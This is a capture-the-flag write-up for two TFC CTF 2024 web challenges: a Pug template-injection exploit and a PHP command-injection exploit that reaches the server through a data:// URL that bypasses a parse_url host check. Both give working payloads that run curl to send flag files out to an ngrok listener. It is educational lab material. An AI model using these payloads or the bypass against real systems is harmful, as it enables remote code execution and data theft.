TFC CTF 2024 - Writeups
Table of Contents
TFC CTF was fun. Though we could only solve 2 of the challenges in the web category. Here are the writeups for the two of them:
Greetings
This was a warmup challenge were we have to exploit an SSTI vulnerability to retrieve the flag.
In the homepage there’s an input and when we enter a value it is reflected in there.
SSTI
To know how the server is handling input we tried to inject %0a
character into the username
parameter which threw an error.
From the error we can see that the server is running pug as its templating engine.
We can refer to HackTricks.xyz to find some payloads to exploit this.
We used the curl
one to retrieve the flag.
First we have to check if the payload is working. I started a netcat listener and an ngrok tcp tunnel and send this payload to the server:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 0.tcp.in.ngrok.io:18322')}()}
And we got a response from the server:
Now we can read the flag and send it to our netcat listener using this payload:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 0.tcp.in.ngrok.io:18322 -d `cat flag.txt`')}()}
Safe content
Our site has been breached. Since then we restricted the ips we can get files from. This should reduce our attack surface since no external input gets into our app. Is it safe ? For the source code, go to /src.php
We can see the source code if we go to /src.php
:
<?php
function isAllowedIP($url, $allowedHost) {
$parsedUrl = parse_url($url);
if (!$parsedUrl || !isset($parsedUrl['host'])) {
return false;
}
return $parsedUrl['host'] === $allowedHost;
}
function fetchContent($url) {
$context = stream_context_create([
'http' => [
'timeout' => 5 // Timeout in seconds
]
]);
$content = @file_get_contents($url, false, $context);
if ($content === FALSE) {
$error = error_get_last();
throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
}
return base64_decode($content);
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
$url = $_GET['url'];
$allowedIP = 'localhost';
if (isAllowedIP($url, $allowedIP)) {
$content = fetchContent($url);
// file upload removed due to security issues
if ($content) {
$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
exec($command . ' > /dev/null 2>&1');
// this should fix it
}
}
}
?>
It checks if the host is localhost
using the parse_url
function in php, and if that check returns true then it will read the content of that url, decodes it from base64 and outputs it into /tmp
directory.
Note that there’s no validation check for the values in $content
and it is directly concatenated with $command
variable and passed into exec()
function.
If we can control the value in the $content
variable we can achieve rce in the server. But for that we have to bypass the isAllowedIP()
check.
After a bit of searching we found this article
PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions. One of those wrapper is the data://
wrapper.
But how to bypass the isAllowedIP
check? The format of a data://
URL is like this:
data:[<mediatype>][;base64],<data>
where mediatype can be values like text/plain
, image/jpeg
, etc. Let’s pass a sample data url into the php parse_url
and let’s see what happens:
Note that the value of host
is text. And what if we replace that with localhost
?
As we can see the parse_url
function interprets the mime type value of the data://
wrapper as the host. This can be used to bypass the isAllowedIP
check.
But if we pass this malformed data://
url into the file_get_contents
would it retrieves the output properly or does it throws some error?
Its PHP, ofcourse it works…
The server first decodes the content from base64 and only then it executes it, so we have to double encode the payload in base64 then give it to the server.
echo ';curl http://0.tcp.in.ngrok.io:1337 -d @/flag.txt ;#' | base64 | base64
TzJOMWNtd2dhSFIwY0Rvdkx6QXVkR053TG1sdUxtNW5jbTlyTG1sdk9qRTFOVE13SUMxa0lFQXZa
bXhoWnk1MGVIUWdPeU1LCg==
Now setup a ngrok tcp tunnel and a netcat listener and send this request:
curl http://challs.tfcctf.com:1337/?url=data://localhost/plain;base64,TzJOMWNtd2dhSFIwY0Rvdkx6QXVkR053TG1sdUxtNW5jbTlyTG1sdk9qRTFOVE13SUMxa0lFQXZabXhoWnk1MGVIUWdPeU1LCg==
And there’s the flag.